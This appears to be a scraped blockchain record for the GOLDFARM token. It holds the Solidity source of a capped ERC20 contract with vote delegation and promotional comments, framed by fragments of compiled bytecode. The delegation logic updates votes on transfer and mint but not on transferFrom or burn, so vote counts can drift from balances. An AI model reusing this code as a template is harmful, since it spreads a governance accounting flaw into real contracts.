155b15156107f657600080fd5b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a335780601f10610a0857610100808354040283529160200191610a33565b820191906000526020600020905b815481529060010190602001808311610a1657829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1a5780601f10610aef57610100808354040283529160200191610b1a565b820191906000526020600020905b815481529060010190602001808311610afd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b7257600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ebc578082015181840152602081019050610ea1565b50505050905090810190601f168015610ee95780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f0d57600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820af5c9d9e65add0bd78a0251c5341d6d8c3d95c57d9116d1347f9a798b2dee7be0029
[ 38 ]
0xf1b8762a7fa8c244e36f7234edf40cfae24394e3
// goldfarm.io // GoldFarm is a cross-chain DeFi FaaS protocol that allows users to deploy crypto and NFT farms on BSC and ETH with no code required! // 1,000,000 $GOLD tokens will be minted and split between BSC and ETH blockchains. // 1,000,000 $GOLD will be the max supply and the initial circulating supply will be 900,000 $GOLD. // GoldFarm is a cross-chain DeFi protocol designed to bring utility to any token by turning it into an NFT farm with no code required on // both BSC and ETH blockchains. With an innovative suite of visual tools, any project can deploy the world's most exciting new farm // with custom rules that incentivize the behaviors they value most. It's easy to reward liquidity providers, incentivize longer stakes // or even provide special access to your project's services through NFTs with utility. // GoldFarm provides a bridge between current crypto ecosystems and the explosive gaming industry. // NFTs from GoldFarm and Official Partner Farms will gain utility within real AAA video games, // in this ecosystem, NFTs are no longer just pixels on a screen, but hold the power to unlock unique digital experiences. // Twitter: https://twitter.com/goldfarmio // Telegram: https://t.me/GoldFarmChat // Website: https://goldfarm.io // Telegram ANN: https://t.me/goldfarmio // SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Capped is ERC20 { using SafeMath for uint256; uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor (uint256 cap_) internal { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - minted tokens must not cause the total supply to go over the cap. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= cap(), "ERC20Capped: cap exceeded"); } } } contract GOLDFARM is ERC20Capped, Ownable { /// A version number for this Token contract's interface. uint256 public version = 1; /** Construct a new Token by providing it a name, ticker, and supply cap. @param _name The name of the new Token. @param _ticker The ticker symbol of the new Token. @param _cap The supply cap of the new Token. */ constructor (string memory _name, string memory _ticker, uint256 _cap) public ERC20(_name, _ticker) ERC20Capped(_cap) { } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** Allows Token creator to mint `_amount` of this Token to the address `_to`. New tokens of this Token cannot be minted if it would exceed the supply cap. Users are delegated votes when they are minted Token. @param _to the address to mint Tokens to. @param _amount the amount of new Token to mint. */ function mint(address _to, uint256 _amount) external onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /** Allows users to transfer tokens to a recipient, moving delegated votes with the transfer. @param recipient The address to transfer tokens to. @param amount The amount of tokens to send to `recipient`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); _moveDelegates(_delegates[msg.sender], _delegates[recipient], amount); return true; } /// @dev A mapping to record delegates for each address. mapping (address => address) internal _delegates; /// A checkpoint structure to mark some number of votes from a given block. struct Checkpoint { uint32 fromBlock; uint256 votes; } /// A mapping to record indexed Checkpoint votes for each address. mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// A mapping to record the number of Checkpoints for each address. mapping (address => uint32) public numCheckpoints; /// The EIP-712 typehash for the contract's domain. bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// The EIP-712 typehash for the delegation struct used by the contract. bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// A mapping to record per-address states for signing / validating signatures. mapping (address => uint) public nonces; /// An event emitted when an address changes its delegate. event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// An event emitted when the vote balance of a delegated address changes. event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** Return the address delegated to by `delegator`. @return The address delegated to by `delegator`. */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** Delegate votes from `msg.sender` to `delegatee`. @param delegatee The address to delegate votes to. */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** Delegate votes from signatory to `delegatee`. @param delegatee The address to delegate votes to. @param nonce The contract state required for signature matching. @param expiry The time at which to expire the signature. @param v The recovery byte of the signature. @param r Half of the ECDSA signature pair. @param s Half of the ECDSA signature pair. */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Invalid signature."); require(nonce == nonces[signatory]++, "Invalid nonce."); require(now <= expiry, "Signature expired."); return _delegate(signatory, delegatee); } /** Get the current votes balance for the address `account`. @param account The address to get the votes balance of. @return The number of current votes for `account`. */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** Determine the prior number of votes for an address as of a block number. @dev The block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address to check. @param blockNumber The block number to get the vote balance at. @return The number of votes the account had as of the given block. */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "The specified block is not yet finalized."); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check the most recent balance. if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Then check the implicit zero balance. if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** An internal function to actually perform the delegation of votes. @param delegator The address delegating to `delegatee`. @param delegatee The address receiving delegated votes. */ function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; /* console.log('a-', currentDelegate, delegator, delegatee); */ emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } /** An internal function to move delegated vote amounts between addresses. @param srcRep the previous representative who received delegated votes. @param dstRep the new representative to receive these delegated votes. @param amount the amount of delegated votes to move between representatives. */ function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { // Decrease the number of votes delegated to the previous representative. if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } // Increase the number of votes delegated to the new representative. if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } /** An internal function to write a checkpoint of modified vote amounts. This function is guaranteed to add at most one checkpoint per block. @param delegatee The address whose vote count is changed. @param nCheckpoints The number of checkpoints by address `delegatee`. @param oldVotes The prior vote count of address `delegatee`. @param newVotes The new vote count of address `delegatee`. */ function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "Block number exceeds 32 bits."); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } /** A function to safely limit a number to less than 2^32. @param n the number to limit. @param errorMessage the error message to revert with should `n` be too large. @return The number `n` limited to 32 bits. */ function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /** A function to return the ID of the contract's particular network or chain. @return The ID of the contract's network or chain. */ function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806370a0823111610104578063a457c2d7116100a2578063dd62ed3e11610071578063dd62ed3e146105b6578063e7a324dc146105e4578063f1127ed8146105ec578063f2fde38b1461063e576101cf565b8063a457c2d7146104f1578063a9059cbb1461051d578063b4b5ea5714610549578063c3cda5201461056f576101cf565b806379cc6790116100de57806379cc67901461048f5780637ecebe00146104bb5780638da5cb5b146104e157806395d89b41146104e9576101cf565b806370a0823114610435578063715018a61461045b578063782d6fe114610463576101cf565b8063395093511161017157806354fd4d501161014b57806354fd4d5014610386578063587cde1e1461038e5780635c19a95c146103d05780636fcfff45146103f6576101cf565b8063395093511461030f57806340c10f191461033b57806342966c6814610369576101cf565b806320606b70116101ad57806320606b70146102ab57806323b872dd146102b3578063313ce567146102e9578063355274ea14610307576101cf565b806306fdde03146101d4578063095ea7b31461025157806318160ddd14610291575b600080fd5b6101dc610664565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102165781810151838201526020016101fe565b50505050905090810190601f1680156102435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027d6004803603604081101561026757600080fd5b506001600160a01b0381351690602001356106fa565b604080519115158252519081900360200190f35b610299610718565b60408051918252519081900360200190f35b61029961071e565b61027d600480360360608110156102c957600080fd5b506001600160a01b03813581169160208101359091169060400135610742565b6102f16107c9565b6040805160ff9092168252519081900360200190f35b6102996107d2565b61027d6004803603604081101561032557600080fd5b506001600160a01b0381351690602001356107d8565b6103676004803603604081101561035157600080fd5b506001600160a01b038135169060200135610826565b005b6103676004803603602081101561037f57600080fd5b50356108cd565b6102996108e1565b6103b4600480360360208110156103a457600080fd5b50356001600160a01b03166108e7565b604080516001600160a01b039092168252519081900360200190f35b610367600480360360208110156103e657600080fd5b50356001600160a01b0316610905565b61041c6004803603602081101561040c57600080fd5b50356001600160a01b031661090f565b6040805163ffffffff9092168252519081900360200190f35b6102996004803603602081101561044b57600080fd5b50356001600160a01b0316610927565b610367610942565b6102996004803603604081101561047957600080fd5b506001600160a01b038135169060200135610a00565b610367600480360360408110156104a557600080fd5b506001600160a01b038135169060200135610c08565b610299600480360360208110156104d157600080fd5b50356001600160a01b0316610c62565b6103b4610c74565b6101dc610c83565b61027d6004803603604081101561050757600080fd5b506001600160a01b038135169060200135610ce4565b61027d6004803603604081101561053357600080fd5b506001600160a01b038135169060200135610d4c565b6102996004803603602081101561055f57600080fd5b50356001600160a01b0316610d91565b610367600480360360c081101561058557600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135610df5565b610299600480360360408110156105cc57600080fd5b506001600160a01b0381358116916020013516611085565b6102996110b0565b61061e6004803603604081101561060257600080fd5b5080356001600160a01b0316906020013563ffffffff166110d4565b6040805163ffffffff909316835260208301919091528051918290030190f35b6103676004803603602081101561065457600080fd5b50356001600160a01b0316611101565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f05780601f106106c5576101008083540402835291602001916106f0565b820191906000526020600020905b8154815290600101906020018083116106d357829003601f168201915b5050505050905090565b600061070e610707611216565b848461121a565b5060015b92915050565b60025490565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600061074f848484611306565b6107bf8461075b611216565b6107ba85604051806060016040528060288152602001611ccb602891396001600160a01b038a16600090815260016020526040812090610799611216565b6001600160a01b031681526020810191909152604001600020549190611461565b61121a565b5060019392505050565b60055460ff1690565b60065490565b600061070e6107e5611216565b846107ba85600160006107f6611216565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906114f8565b61082e611216565b6001600160a01b031661083f610c74565b6001600160a01b03161461089a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6108a48282611552565b6001600160a01b038083166000908152600960205260408120546108c9921683611642565b5050565b6108de6108d8611216565b8261177f565b50565b60085481565b6001600160a01b039081166000908152600960205260409020541690565b6108de338261187b565b600b6020526000908152604090205463ffffffff1681565b6001600160a01b031660009081526020819052604090205490565b61094a611216565b6001600160a01b031661095b610c74565b60016